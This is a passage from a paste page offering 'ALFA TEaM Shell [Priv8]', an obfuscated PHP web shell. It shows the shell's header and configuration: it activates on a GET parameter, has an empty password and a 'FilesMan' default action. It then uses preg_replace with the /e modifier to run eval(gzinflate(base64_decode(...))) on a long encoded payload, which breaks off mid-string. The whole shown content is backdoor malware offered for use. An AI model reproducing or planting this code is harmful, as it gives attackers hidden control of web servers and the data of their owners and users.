ALFA TEaM Shell [Priv8] - Shells-Center.Com

SUBMITTED BY: Guest

DATE: Sept. 6, 2014, 1:24 p.m.

FORMAT: Text only

SIZE: 243.0 kB

Raw Download

HITS: 993

Report
  1. <?php
  2. /* @author sole sad & Invisible
  3. * @solevisible@gmail.com
  4. * @copyright 2014
  5. */
  6. if(isset($_GET["solevisible"])){
  7. $auth_pass="";$color="#df5";$default_action="FilesMan";$default_use_ajax=true;$default_charset="Windows-1251";preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7X1re9s2z/Dn9VcwmjfZq+PYTtu7s2MnaQ5t2jTpcugp6ePJsmxrkS1PkuNkWf77C4CkREqy43S738N1vbufp7FIEARJkARBAHT7xRVnNIlui4XO6d7Jx72TC/PN2dmHzjl8dbZf7x2dmd9KJXbHCtPQCbYHzjgKWYtZQWDdFo3Xvj/wHKPMjFNvGkzwx/vTo1d+hL9cq2MF9tC9dgL8/GKNe84N/jqxRl0PEktN5vaLk8AZdEZWZA+L5prJKswdTTy/5xTNv82yWm0J8sw1FxMfoHXoWD0nKFLuWq1SZc+qz9iRH7F9fzrumVCvc+NGTXYP/9tyx24ndKKi6QSBH3Q8f2CWj84PDwEqyYPUDuWHZrmq5Yysm45z49jTyPXHncgdOQICcumz47kjNyrGaSNr4NqdP6d+5ISdYDpGGJ7bc/ruGNr96fS4A607PTg+gsaa9cpzk3fVIF18MLGL1OL+dGwjAQzKhlHgTkLPCodOWCzQSCFI4ETTYMzcsMMHT+Zs8sEExBOqWi2OfS3AGiwPL/ZhofPh+PQMmCJTN2UATKGzc3z87mAvF4ZnEaa4FbPQP/QH7riIhPdcp2hsAJswy3MH45YNzOAE7Y2+H4zYyImGfq818cOo/cEKw5kf9Bpswx1PphGLbidOayJS2dga8a+2mh1OuzA87Nrypk7LbLfN9sYaYoY/UGXb0AlD8p3I9v0rIKpwBd1zTZNDtOKicPUNGlm4brIMGOJxk+lmTaNhB6mh8YMMN0R+4n12YWIOcDP7+WdWHPWeZ9JbUIuKQiOMF9DmyBsoDeXKainkKVZckRWLJswvDNX+/TdbCpKtpOhLRlT0A3BB5Hv+DOYpDAF8FT+8+dA5Pi1Xy+slap8xc8dGiRV8XHBM+DBh3nqhI1PG7g2kFEKr73RGsGBAGk3LAU7LOFVMnZUErsT4TA+ciR9E7nhAs6/Qc0MLlqWOHOtQw5fJRbyFoQ/z2571EBTA4FeRV6cPpk3r0pY97LmBlggo8kpTA0Wbib2UeqCnkHLPsmFWXF7ieroG/8QgCc55kByIBgF/XwCc54zpd2m1RkMHC3GJo6nQB+/CpRkFF2rrD+uGmv0oeCC72PV9r1SAxdCaelEH1v8O5uV0TAHWAyt0kv2IGYduGLFdN3DsyA9uDdZqMwM6Hdu+7457zMU9qDIZTuAXs6dBAGsJQwAJydZCtjZja90ENC78i+2P++7gl+XKq9C0Qw79GbOAea4dBlljh/MRLzl2ojCyIrZqjWNY2BvGwJ2wkgTXru0kkDCyVkBb7DnkAU4btrVIycc9M0Zj+yNY7JxAyb92nRnmb598YGfI1jzLCiZAAGYcfGA7RP00sJBKnu9OeJPYmuV5BivJ6ThnGOJu8UK26g0JsYcZfdeDtTyCbaALhIUM1lWLHbrj6Q20FarowfYcOdD9PQ4a3oaRM5K4sCBbvSZ0ITbQnzhjAMXJnO1N9jcbwCRgqy7Duh3q3kngQ3+G2I/RVJSZhMya3six5mn41ceRh/aycOpyekQBylhjq7iLsD5bnTiwHa1Wn1WrVWhuGJdNyuXyDMFUHkZDJAyWIqGeIWHwPSRk0PDRr7hjm2bAAkJwq02Bp7D88mDxS0NAXhr5ZZdqy1xU2J+zwI2Q/Vnf90BgBA4Y5/Yv75B6Zjzml19I2zx0YqJXJrPeg72jwCbDnC6/fA/loUOSKsOI5KeHCYoh4/KpsssTk0VFpHRBYuwMYRLDyv4wOSp0QlIWxyPIykVJpPVh9x6OLNcL7IcpU4ATwjIYHkFXCuGhb1uRk6xgHn2zYRRNehWcCCqJmUylxPUQpOpwXhElVykDS2t/QT1qtloqvO3CMjGvUJKrlBndzoMXOQqs1Ru5Y33RymQp4HZ/kF7h9BwVFmqaByyyUtCwJvasaA48z8yWmF+DO8ivA9bd+SUgM7cEocqHn9MSLqYtpk8BymCQi3lOOQVWHepk7ExKNlW41NoZA0K6Bhf+6eXCQboGl7f+xcAyUysxb5mKS6kAWsnRLdS+sKgGoZWdswLFJZV8tVzXsq+meSPHMxTI3nSUB4fJ2vR3r3OnvXtNAqN6wn/DtTTi+Cu1UOJwNLQCOGyIA0QqDU/Yrw+PX20fnl6Y8pwQ5zbZwPO7lgfnFzhfBiCk2kOfGRvDaOS1N1A11N4YOZFFa96q8+fUvW6ZIO2CbBitnsHCaiL74VfLjEAQXcOCTSbwtwxYf7MUVZhhtjciN/KcNofIOecgFFvFozpDGEXNwyrGxhov/WQjjG7xb9fv3d7hMAwC1FqtUmsaPz579qwpfjo1/F/znkDLUa8cDe9AFBlHDfbrJGKHU9vtWeWPTtCzxlZzZAVw/m5Um9cOnHpty1sldUoj8icphOz+CYk1MOv7/h0Tmf1+v5klp16vI3w4scblYa1sSXDR+2zFHaFgbo0jCcZJXJ057mAIlHZJdMLMYe0OvgL4WvWcftR4PoHzgO+B6CpGcmL1enAgarA65EBuk7e19gwaK1uZT6FsO5SBinrudUUM8R2LkSJCDhdXn4NtfX0dUUA7kTdWe3Be4UekxtgfO5TVGPrQxVkAwOIEnsuhKiMvbm6jFreUhleSlFAEo4Y4+54/a8AxJfIJRdcdWIEDpMzcXjRs1KrVn5pD3q3rVdFW0nSVkRQELYeOB+fOOxajXTi4z58/b2ZIlNMqYbT3/tiHkbWdMsyjaeDCmfTImZlYPWrSkto4ST9GcMAPz7qe6CLOhlyrR+2i/IPxRDaMUWuo0yyQioDLlXI4VnmkO/i/ZlwmEKMyDxIAYUBypxtm1e9yWeH+ySRw7oif+9bI9W4bogPKcZ8ACRtrYkpvhHbgTqL2Ewb/XVsBszuoyMLFABeZcOLYruXRqlJMVjgbNhjSkRhmMy5pzS+5JZcni4oZZlIdX6+WKJqsv4ggqXZSiwsXUYU38ZVCk5r5rWxcjo3SSqvVt7zQKW2aZiPbNBV+7+is89v58dneaSldV31RXfVH1lVfXNf6orrWH1nX+sK6UDfX8+3pCDi++eSHeEtE5ZpVtsuTWnlSL0/Wy2IQYIN88sMPsEVaK63x1PNKvcqoX7EqXGVtNUkJo6d1mryErZawRa6tlIjTZIlJTS0yqYn8SU0ppKTGxepasboEqKvFktS42LpWbF0CrKvFktS4WbxjtMbxJNkc/qU2NC8f8d0rIzBY0P9zRwdpoir4TUKxlEJqfS9S4ksrsEak7UYdaCsKpo6JebCuFt1WteluUNWwqiM3hRXPGQ+iYdN9+rQEUD+I4k+h/M/mUw30wv1WwePjU7NlPnXGtt9zzk8OdnzYrseQX8wAU88RYWFQpJkC21RyjSPlnZO93873Ts86gEysHmXRinTHAJpp4MW5gstZcQaHXH9W+fz+8A1IaCcgoTlhRM0JnD+hK8bOjOmZ1Oc/0GArCLZJ1/r5uPsHbHmp8lpe0Xzv2oEfwtGUagWJzSzx+Yr/IUooiQQy5T9Iqvhj2FR7t6hHBCnTGg/wEkJoF4G2HUpqZotNnHHRxMUCOof6AAe2lAUEVhBN5MIyK+qSahn4YjLxQJrDHl27WZ3NZqu4565OUaePg9ozc/GOe8V4VGTOvT4+6XYU44WI+qNCTT/FpqNO/lmJUR9DNtVAqlXMqFervCDn6MAZiDE4cQZ7N5PipVG8hP96T0vFC/xxiv+E334p4Y2FOTJpbHlZKwhaUL6C962ChBDYNXTOQB4QcA7waREAL+rfKuJiqVrGkhc1OEwQzD3XW1seCMJFU3QwvxRaMTmXwpYttmpxYkARu70BkiOjvbxlwg7hklhndUEumkZOU5HC8sV2kLRB4iLhsto0AXX6BpNfUY76so6eG04865aLllhAubccur2eM+YlrPlZ9vysSW1BXn1B3vqC6vj6BQD8EtVoskI/cJxTFIXwnguadIUJJBtlhByAjvzI8jTwDiV1liuhfG0qvxtwqikEsJxZIeGdDCedKVJcNAO6ybtygrHjpbL4JZ9zAzNsfIWLMB4ZG2trmOK7INx34RwxWgsdtHNY27Ro3rT4589wCgaBttNzOCdhDr9HE+KFSTceeMPO6y4xkC4YFy+SSistFk9lUYS947SirYTgcNm0crX8ohTfy+TikC2tQPl8DOslcWUqV4KOc+OGEVCMPH+D96HOwIV1JTYLEReYHaGvxDu7AK8yC3j1wfNGt/Cb0gZK2kCmwVyZQKqxaeDNJJF/FxePq53MEElCBaFUcMY5g2CgAQ4koKAWMV+YOMioLxD18ET4h9IkSYhbAeU18cQBB72nm9IOdjXt1HgpPbGiIfwmRoFO5xevWdYdt+jqrkjwqB6Bbb2A+zoruBuF8SpyLe7l2BlJHTCexobFhoHTb5k/mswf27AFXLXMASym+6h8eW+NYfW8NAyB8g9C+cdGq+DiX8So4yMCLgp/fKvQbW+qskujZLaNigACWcBY21iz2gZvO5/yyfWfeX62v/oS96ZPtBGHq7X68xp+vzs+eLl6Ev86x1/25OWLFzTP/EmsxZH9CMQ7lj0sJpVYIfRI5IxKKXi8p97waZoJWw7DrBBkBWQVs5LVLLValL1p8jMxbJQN0yxVzHZcbmONI2xjj4yS9p06doUdjPu+2WrjB/0sm9TzmCSHwMTz8Bh2BwdT5c+yefqnRyXhT9n8MJzgB/6BnCjAG186ABMIfZ/RZ9l8FcA2A11iEz7lq2weOdHMD64wXf4Uk1jo1WLei40yuG5tdGEe+gN/ytVq8neTMk4drw/79QgOzjwXE074N0I442l6nEY0QFeo+0PLGA5DYwPzgTZIHJeiO45KRdgp1wT7j0rQ8T8Z7Qsm+dr40Yj52gC+NmFUrivmpVlGmb98ib/if0oGDtoVjpjVZt821qIhjVkvACEPeQknApoPxL3gh9gixcRCtiAgSce0oU//ggxsDWEpcauODllwUErFbFxe4iIoq6FmziM/npZIMRArUawR9RcsSUL6oRUmLYSouoS+o0tGG2TtsIU6OWY7nie0RK11+sLdEb+qopdRDGlvRAH8f08mtTdQ/9Y+x8WssdEN2mg+QD+A++jvm16P/u7Meg3cHOb12KaJULvU7gbNG9xPQGhC/ND9vbZJCfBjY+wDqLLTKBtsqcxANqvVq1Q8GXuETnYvPJZHVgDreKvT9azxVftC34CpwzbWqKINURmt6Yi0yPgnLvz4XWK8F17j+t4QJHOYgV6E7wBURmJF2q+dIIRFoShopvKnVt9haFukIVR6LzFH+gZ9hwojricFcbbXPj5CaWkctaEn1bwByEnQnd328f7+xlq3LaH03vpRZzQYytQkQY4RXAbkE/9wFuO074IAjzaIGuk9SCyaX1ZHqz32puE2QjHCoh9mof/RdWan7l8gUCRSltol+0C8hlIrE8uEvEjRhN7CRYEpWWsK5l9qVc4kP8Vjoe5RKMtQDR+cYBTuYO/lKdDmdpo+OxF5XFjaVZH6Xlt15NJzwRCG92lMnFwTcFYo00FORWHKGKCyVkyRDb4PIWF03ELKaBjz/omGbihO5EYb9z3OrJ7VdbyW8cGCg6jY6AxOj75ZMr63USFgK14zES/42QmAzdnBBzmC8QSID/oG/9vZ3t09Mb5J5uDFdzwXr62zxVU1wfvjsz0qzXtWzl/sLfiHfuGyJ7uOlkB+LjLELQGep+qJ6hxV88ZjlkaiiO9QNExJncpBzxDK6+dG20zbqO77fiRusAqwN8TmIC2mfGUYcdNg6iw3aZqb7eInKOBgiZKY6EZDh8S1oohmzBJ1DCgvueDYBZTD6SuzY7i9llS7L9lFTJ5C5/e2yOn6UeSP0plwXv0BexlO3LQP0GEXZCDSkqGsmjCy0EKCwAqSZlMYKtNJCLAIluLaFdh+VZ4Sx1DeTlPeG5j8XIqXBOJUKs17l9S0413ecibC0LD89l3C7OXLipDektb2pSpNa+ilIVp64lj8tvk7Gtp/FN2c5ecOUdIEkmWpAeboCobA5A3pLW7Ie+tKGzB1ijyiTb3/DWOB7cIuNxe2RR2U72zMvz9A8bEiM53mtWWPvBWcfzKPvnt+CGUXahIik+0d7Zx9+bDXMkdTL3InVhBRuVWQPiyTCs5TeMnKOHtujxdCa9M/Ndtpsi8oO6nJwlMQOa0eVri4Mr7JqlWmrcHju7XNTJIQpQVNXFyner+f+ciE9lHM1w0Y01lQbou0u4AoSspQMozgSgDyI0iriwxdb2NwZwah/VIMODKW9d/KzNTLmqWWvHnTvF1SmqHCBHI1pr9/mDjSFX0ncVT2QeK4NiqfOFWc2LspFtwxSRNwCBdHa6Q+o4hDBTjXv22RLhyKlbEMqVGo6NYfvjsu4qWlzOBqtVx0qA6IhsGUo/S7HTIwR83clswiymLsAEL6Ps+xhEfHXNzceDsHM8/4frxDkFs6SUcIDEmywJyggEkTOKE/DVCN3Of6QryIwc4zAqOkokGFwWwIM6e4stV3/D4UwJM+ZsIxv49XH5BUrlXrz6COie35ISKl+sQYI3BaYEwOQKEweyqErN1itep/1v/zrPYSsMni4SSAA1G/aP5Uq9T7qCYO2ZoCyEp4nnn9SjjFKKievXz+nxcP4iEoxk9F73OwLEEKEkHl38nycdv5mexVRmKm8xmfCsTZ8JP9zKo3O1U837Va8mfBRfYPY7ISyO0EcjuB9HIgXyaQLxPI1RzIFwnkiwSymwP5LIF8lkD2ciDrCWQ9gbRzIGsJZC2BnMTeTvQ5RX2Wi8wXl6vSmXiTmYHJGtiwUhak+pKDzBaAPCOQJOGlQBtSmRtUmTRysk8lyjyc9Ycpqz1MWfWlTtmzxZQ9W4ay6rMHKavWH6asplNWF1VH+ZTJ7DOFMjlV3Nw5InQYfTlRVrZo+bJ6/EiJq5FAoKmMftzfB+KqUknDp9sWigATPvOwIJ12uSop4UaqIDmzzqsAFsXIeST6fErrz/v9R1Gq99KpbY25MtYNxFqa2eNDDmOUFP/XUC2nXjb18MIGNwQll7YA2Hxwu6brOSALUsjsvsVwODjwEDcPygovyDxVQiXDTJnc5Vhtxqehi3pzWhDlrREXBcwZZnFV5ERX5tNtUTw+9BlXxEULtRZ+LSnuKUhZoRjfNqWOeViTWp8QjgfAB7cMFQfBiEwLQNirca0IFzKF+SQOizYojv0BrQqKhXHsGnsNLYoCF9KuhXcjpYtqSZ6lNo5xtBtMiLjaVWnhuszI/gpWyfiKlBAAdqmWFLwm8KK7MCd15NV4BRyUvHpNPhAqxaZsvd+PZlaAthV4R+mMryGLq7pOj/fPPm2f7JnigjQjk1gTyx46JMKM/N4Ur4O462tSyyHI8k6PbRMkk1DlxOkdxMsyyyIqlrBSDdUul0177MObD2w/FlDVi8Yc8XVzYW7DRFsDM13VMUwL1sW7czr9K36xOGE6mIMZGRJjvThDiSxTONaKk8DWeQCFO7a9ac9ZgEVA5COyz08OWTidoDkylM8MHjC91xHKfbO0acL8xd41sUtoDwBpddLiV4Bzxp+b53MJFjWgHZxBdEWEZWllMN7fnv7psaJRyQUulipGyZiDPcQCwnU0jfX09LfDOeUmgzmFPsAhfBA480v6tjun6HFggZBupMeK9y6wJJ7gkSuyrE1ISsm6w6du/uUceniL9Sqp5ERsgmzNiew14YCB/KDsj6aaV9o0bp2QLb4xJ80QWhxdGlSW/+QY6Pr7Ap1mScdvSI5YQFY4tHr+LJ8skfcPyOIYliLr+JRJngZicBPiLMfXbxjjNTTzWov5PmeRiQJSH8wrj2S5YTh1KmMnkkvjSu7VV2ww0p96yXX6wMbbVo/+5T9hPM2RdYUX2xO6FweRAO/KJ7fREBtiBtPuLfyBsyT8O/jLRZhu8qcOf8eEidxP4Ac64RIS8vRHVXKQEHBlXWMBv7eOBbs92w8cJGF6jcICliaAXjBzupgO+8oI/wZXwykarWPS8Crw/ejKhaXFdCckRIX0sz9DQgN3MnMDomToOl6P2kkey9CLAbYlHNO6BMwP+y+S7vZCqzfCwjbOnwHC3Lg9atUAdgf7iv+cYegUzLwNR1aIiX+NukD4hAifjVwPu24GO7lozdgd/2HxjvBnY1Quoetq3BszGF+AIochrOF2fEPkjK+wQbhKYp8TjDebrI5ctJsz0xM6tVqK63WQn+TwJ4YcwC6JIERJ6lJDKSmmPOc40mtLvLTMrVyM/D+pe5dQfEfVSl//o/oTPHOJiEdiDYdCK/5md5eRJR2UEHJmr89Wh9mZ/wbdOxdNevL/NFP1cYFO18vBboero6Gu2CWpfRaaxZRm21TvPo3nBldsk8WqMD5XUur5+m5T2j+09wN/xC8WI/02IVFtc9RCG1pVryEFjjN/GQx1gQEP8jl3mXP1r0a7bUj9q1D6kdKY6Q4MTHUxIJUlbC/j6cgJXFuDnJu3LsM5Ia8IRReaiDXV0myjpdWkZQpztHzbPI0G3g6EFEyNh2jSS4JQVab0Cor1iqVLHsvibA9jyYFL7vGxLb3ZfZSbnWBu2NiyrL3NI2awUyfC+C9hDI3BMWQ4jWwxiraxLbPVMrioEXzcENKU85bIW+KcQ9mH4aSYG/4njp5yt2xknziGijQm17StZBWt+t3IpQpZQDqjVGAY97jF/6vbg14RbUmOpxFwrFmq0GVwRVgkt0yzuVQpF4TH4M3Z+8OW9BiwpctA5h5WV/6W6Mh3GVxGl5fmZdUQDlDELtTHMmwNcQU/HwoeScJ7ZfxKRb/i7FjRc6hTSt/R21XOJsmBOhvLSU5ILYUkXHlAuFOO4Xicw/R5Z27hIFqZsDthXA6LTfNeepmZ+sgLkx8ys41ovNNKdpFMcdhkvCDawNAQaqWIlz1/W43L2dO/yc+URT34/2GZDWvw/3WgvfLL/coodMmcc4Xnsrti5ZeSkrzhjgYX/9P+9rQt00plFteCIBWnzCpw0K8M8f8JR6F2jzkmwiKVpWToY0qxy0AU2RjWTQHEKmL6CVHkXunbPRmpDQ/Nq2gQPbeXaUfiK3tfM9KPdykDRpp2IeSEColkTq90Z+lWWPxKFmqSu9Q9Ll13g4VQ3Laoea/taLBDSEdOcdeIx2JOtvAFRTsPwLoDGW2zUszj8c2F/nglbgQLG5aoaf6etQd/dCMZshF5PrkhUxne6VooNuqirn8jLnGh1+R2yS10HwwUVRETeNMUvS1tdhl6tMAyjNaz22+3P8urTFQD8S7hS5KkF6rL65qUxwVHrrcNTYwSvZKmltNXkrsHF2DqoYeWQXVPQdXVkjuLtNsoxgpkIlKJ3mb29fBc+I07+nQMmxlQQ9dUGvDCxoYzF0M4aumQbKPSSL07bxCSLTQi7vBkp9dBEROK7h8c7p1SXRcmzOQOt7pHqUfN4akloQE0duBQAztwcku+AjtEFzj3qilq5zYrsuIrNQgbLc06JhuKRg55KKHuOIWr53hOhK2I+5un7CJS0ssqilwZ2Y6+y6u1UqtFkdU2OUSD/hUW97r6WfgDCP0z42eDlMqZaR4jd0zCcKzi7IBDz4qoiiGLW3HswOh6lYrB4/nlZhqIHtdCdzx1cI/AiDMt6l/8KWCFhMczWzzUWkntEQFFwhpwFp4i48R7RtemsjlNthWM1MbfC5NrfpiKvXE528YW50kqHav68l61T/trpWJqzcBrXzjBold+T1zYKnbdeOWgEN/PUM4veDWGgONMJLg6mS0wB8UGb/uTW1MzC8CUDpUqFuxyISwXYM9QqbArhbAESYJTe/iJsQZxcsYMYvNUwSDiPjvmDrwdUHiD3zb2MbIfjSyGqYq/K3g9ohEFqJEpy4U+TL2e+FKu0pFSPmM5qWwLi/MvUYIvSfEYqUuMGCW1xjjfhtlOtWZcZeK68zqZPBK0Tqbl5f/tTt76N3oZqOVTW+3iSk4XVwRvL+hl1K+J2UU7YKwm/upOtnmgX2GKAZDCxzPJKsrFAjJX29zwQjva1qisjJGpkFtqLm7jgvmudWOqC3DvI1pgOPfzAMosXgEEngxpHA1fegMr8oPYtdWewjn02jkQ6fJvUcuNA1XG2YU+sYGmOYpxk2uNc9tqF7gkKbo6aQGU8HDxRCe/2xJ5Ft7GB2bRs1knNELBLVi00/UcNpiO/zkjLDGeKpvk9Tjlg4waAGVn/rLtWtgyVCfP58G0oKRETXZQ3eqQ6RHIihSgWpebhKogwhgc/b+u6VJXL5Q6LErvzFi/xzJYS825Q3rPUIiLMuJbcrI1+3SwgqMaRp8usVW2/qKKJ1mxt4moSo1FEp92VKZuVPRTXMLVQbDORLbUN/Q0rI2aRz1UbrzxiqvbvCtsnAZsZI2tgRPMPz9z1+5JrYOhKDCuRMswmrHLN0ljbiAc7fl9vLQ2yMb13VQ+GtmhQFZTkakCGyd7B91OIhL9GJ4CRTDJFbOpSfj8JIiNl+GtQj+ImvxPor0XNzW1xcJ6Kuz6StgpXmyv/vXtaalTvOzd1e5LK6nBhC8CxlVTq5EnX9QAgjx4xHf9W3JyMeK4N0rwB0uEE1AjWZCNxNxgFkB0GgTjUkjh05SnS5Ogf8iDFadGDMCSzq3GuekAANyXgjtGmOgZYUpLWwwtZGoOFGbV1NwrzHrs589NcCnWnRq0nOuXhzH+9cmNbl0dH5rj20HsO0mDPbzq3rTJ43ED/38Jt2DuG2aEdLzqGHDwxgGFEdysNmqokcV7xSPI425134M5hAk+DzPaP34/5pHfc/u383C/p1wN+/Fs7ARr5O33fTWSOdK8CtFsCdYENJ7Qat3mBhX8G28ADL6ohNI4KLlwIz9w+BKusMliofqDkzt4M/YF92c5une6qPGxuSoW9NfmPvJBjos8lSE3sNwyXDOoLi3k2atDokE0CB08Ky1VZkD5ABJw1slQ3DaNaFfKWOqzDIlYNQ4PoVvo/pdTGgojn1JZqjYklcfiFmAp6mPeXH8m9RGbyu/GgqGA8tTfvPwgSMonvxsLhoWVUmLtw72kWqYJqcUJBui5OZqU5ehGFPkQaDK5I4wu+fLj7zJVIZMvWxNiRTmE/mIKnq14VVDggrPVt1IpRwp/kBRSt+tp8mj2SCqlNdG9wt24FPBAlHwXVo3gdkYwahZsmF0py6aKwV5DQfaJ+xIr6yiwoaTyLkLBusgpiiykAnXzgUq/ZOuFtavWWK2VdLPMIlbEifnGNoBs+YGKqtUaa4A0sRAZiJuYxm0j4Wxq8E7ApzNEBna3lq6vgbL/ORjPQyA0EqkqpwVeKD4mSO/4AJXH3qbcEr2a1AqnL2t1/bPRv/hmJMEilBAp/VjJiMEjUhutuAPOOhIDFVSUOOdbqyUm0qYZexhza57YO3tunQDCLk207BGxDbIq+wS8YebFF+jL2VOhiwSDO6RLHTDk0pyjITbRKNmg6KMt8y7Juzfp0s1ED/QLKr+IDDqyfEM3dX5/YCV9Na9jdI/wmOsaCSy/iZBYMF1sH98yGXxRpvgl9M0XWRVuke/3I0bmEgRNoEJGncCOpi3oG8upKz8OxOP4gKtwqL4T7rf/LyKP/Kk9JNxniHsuD/+rlTo9N6I69/719kgzG0K/S02Kb7SEMYYpVhZYMqoYFyo+pYhoGbaP4vy49R90f1vOAdEiB8Sl/A+Xcz9+srR/4aPdCwV6EW2AcOIJr61Hz+GK6/YO/BuHwUlBkNYVRO5rZx6EuCxp79LfGIpbmy5SHYkB0bGh2qmNAQoDfLujCJ+leRVzHVX7fGzng8cO86lyqAFSqoDPyuCvUorw+FCtaZDogn9LCPGpO7bcuvjFAT5aFTlsjclac2iU8Rl+HnfDSfP7iCDzgwVqXe1hp7ROLG5C7EuqP7GlGEFJAygTFveOISOJGF9Gvc4bN+RWHBVyip1Hyyb92zB550t32Ljtok+U2k1+K23qrqyJ6ZV0RVZcWI2Hrk+VwEvSQCcbDm3o3NS7GD8IIOLyIlFz9+w5NiZBVg/9EtFG7/4+HyfAAZiOkqelMWJSFx8pegAjEmSFtutm6aRkLH1XCNCkRz1ugoh56FAz8NjZqiNMBVafIGkGhQKjP08ptqK0VigEc4mhGuuZFsbJ84nxBDFPnxbcEpKiuCVW65/Nsh/0BE2l2BKQ5OTpZIJycjC/i/qwtXTibUUnTc97DH3mT2ZFjNNytBXChOuSx5TMV1bovHjGBHF0JOlSUkcklWMYfq+pwYgkgDkPPA1J0mCRqZaOL0kxcx/6IAkhKE6Jep/hyb73nA2tkCsC8AsTw6FVU1Lxk6K+BbeTiCfxn5C2c7KzXpdpNtpiM3P7dOfggEU+e7P3mWclHATZkIqZBMWzE25Psnf3duLMHhpXxzmvDo6SYjiVIQugtQr5ECo5cSE+ran7D460MmIWJzkxCXzGYk4c643RQY6uk0Unxac7HY6YJQ1HidSklGAhGpZOTTBy9WqMCj7RKqv5bxgjVhaYIiL6sXyDUtcwK/wvtxwVIm1d+rABIyD8DgNGtZRqwFh5lPmibr1Y+ddsF3/++R9ZLlbm2i0qjoCcQWx/LPxCwgX+f2JDTnTcPADFPnyjdvVUxPuZZyuXimnFRR1kAdXMm3b7tP3cd5RkmdhCqhScYDDbhqJ2UJdlLbxhrlxn5JzWr0nqNjBGobFAwHtAqllrL2tNZ1Tweu17zemMrDkdBhnRbQ9NosSUQaJ0IzlTt0qElueb2+UE0d/STbPoYZTYFFGx6pNXMF4tpsFY3qjPSNPr9lrKvE9L+tnrs6WWsHwDv/lLWnxlZqi2ftT55J6LcYX56zqNeRMSw8ZkowQpJqYzEbVJmTnYv+qckc7Lc8MIiehi6j1XLXsPJm60nld/omg2P+jRKM0aJGPc7kauXwU9vWPKBYV+i1FOwmyrYr5SARypAOBhrHjcVo7RSx3MlyfiiIJsPkiE7OuYkl8eUUc++oXHISoen4VkjG5VfR1bp7z2/G5i04je2Ko1I1utlZKnYsnksMUtGfE3PZ7LdbvTsfvn1CluqZrerUGMu6K5pqDTdZIFnVFmOAqd46PDL7sHJ6VSbLAnZh9VBnvilhJImT+pHC/fnJ7E5+qOqRcJ3OmK6+kRcqUlwLJdEdstCt+TzA7NbTfgKL0lHNezrlMciXK3jkXiZ0XkhrCUT6i4oTRUhRhhx7tJdBMlBbLBo+rh7pPlcAEuI1caiZkMdpHubJTtD806Q25leSuWH9AR4OFFSw8PJoK+mjzqq5wxw75YTuZNKX7a0CZRnZ5DMokw7TEEDQlXs0k0qJWQcwjfXYTtN1NtdxpF/jgGw5rtwLKvYAmsBNNk8C4TEXXYr4g48RRNPmysraWKrcUvDysy6jB5XwRX4G7wIDGw7VcCpzf23b8cjJK7DDVATLrY2uafLfOpWgDJ5VvDU/PnsIUHvYV0zu3vFMHUBcAGFVwNl6JVKbF8p8UKoaUUQcmMk3oglnLuIUP3knZQ0Y2MdZMobWLVSccuddamsjYJk0W1DlTtaUFg5vobGHgW+WtojXsePQT9rPrrC6h6yEV9Qz4hsgtykXzFAt9jhtWS3iRiclNqGZXEOFyrLT8umTFyMVguR9/BQTaEsyG3Ht/K5Kd7J00ivnLSoNfyCEey+uYDqo+h+HbkRKuwEDvWiF854llxq6+bnpLUhtG/uKlWnwKxpCJ/TeRhdEsG/pqUmQj91Zehv4RnonJ6Y1sZdy8RZZLFKkXcH0TnZYZzAcHmzNQI1itiBl6wGFniHrCbo3PbgpMetkkjeSs9CeSdLKEb+xHjgGlvlcSWbY4bqWo/keG74gp3Kb3TnnGgrsov1dQecZCAwrxCBxTcNedBiXnlkq4kn2Yh+onQ19ltd2vOpKrE4cRh7VUQFHPXA+36NDFf0TA2MNZUjDYxVlKQp6xm1OJxQcWGSimp9j6/dh2oCTIoj9IxO9y1Ro82XskxA8Lm2NwIKL+Htm16wH05TNYiTNxkbElMo1xMGzLuPJ8ieTJhKT1F6XZfFMhf7kvamxM40qTlcwdDD6OGk0JSbhyY4dzgW6z4c6/ncoUq3lPjjxNHmIWaZ3jda8YvxCgVLAJOPe8gNR9m7o16opbhodQV6VRrn4ymblZUa5Zrusmlq/ViUc9otXTdAD5CwF9OuK5I04MGIZAPKCQRKcTwpJ3U6qqTGo1IY04AqYX7B39DKL1/MGUDYaU53n6ZLQX9oFLrtur+Z6b80YYxPzT4njNXQlCWZ2V5h8bFUdXTj1Yx+SAs/wQp3L5qkm9ngTxPoTfi6rMcXBa634zHrmA4mn4MXXdFxK9SbHvF48RRlnjxoEw1liqJY33KDYtsMkQfpNU267L1BbLUiI2K8PpGamJV2NVas+C2W9Xm6mrBLclST1vCwFkBxRudXyb+rPiyTMFjs6gKLpyTxba1RUSmNUaEXUoY0hocb/gniW3pCo+tzy2SY/FWfRwxZcCOvnVw+MJX2GwMJabs9tL6PWX1ntIaPXoiKyombGWu7siYEzqDSiSWWELPkNzv+RivK4kMqC2/5dVnaKW1dGgNjWtQTpJMo4U/TMtiiljjhjRCMxmtP8F5/wD34eYhpY+cnaSpxdzAWLZC36I+K1pbKMkaM12Q3eoTmbS8aASlFxnevlPr2ulpvJbjG7FFJkN6vdQ0/q+QNAWz/RtMdWnWLs2nKU1llrN09TQxl66E/r9iDX/YrX4Rvw7FJo/Pa0tOSumXUhw15qsdOTaK1bUq/qM9sWzi/5GxpYOwchGz+bbPlOfIIL3J6HobmRldPticW3ib33TDrhzvuazIlCwW77rVBqKqEyoCV9v766LM2sKitfU5ubFnU5zLaVJmcWH89KlwVhzjsW29Ti0WXUnp7tMamspCl0AWYKqm++Il9AVClaQgfJ90WRwjS1Igg+CkH3xSFOo1Td3+nHUHMowq/Rc/9RSnr9N/PB6T3OG1h9fHGNvTw5lDckWFWlGJowwkTzlpaOsv8X9KmZpSJg0saeDAWfUjuQnpxbWXX1Lczw0hH9rkaacNsuerVPCk1IbLC6yokUR76IcmF0ItHpVmg6gihY1IgBilZM1UF4B/bZede0Ezb5OloLXxHrs4CMh3b6i0NzwohomNkMR7fR9cj53maC8Rw/nAjiOHct9yvRU9DiwdYWBPM+OjPU9/ZfXoyMd4hNuV/8MiEzXwUaNJJZLhFFZ2yXnVKM+VM75ndB8Z10o8ShKbzuXco+aFYKo/1sokjHpOEHQiv4OvFsbmJpoultb/evvnmqn4t/9DE4p0vdX/vtkMv1/pVex+xR4J8RqtWGjrkJYwWy7abGRNgdHASzzKqdqwwL5TYEZF7QUKyFYRj1GovZOyZ+ENVpxIjZXKL3bvMnxavPif5renpcKKUdZnrPQf5Tpu4bssvUe5xjPl1cOfiYXfSQfYHbysTTtpGWZT3UB5N/l0ly9uKqgU9pKAzcLBpPY978yfkHdoOv0N7ZpNpa/TYbT+Lzf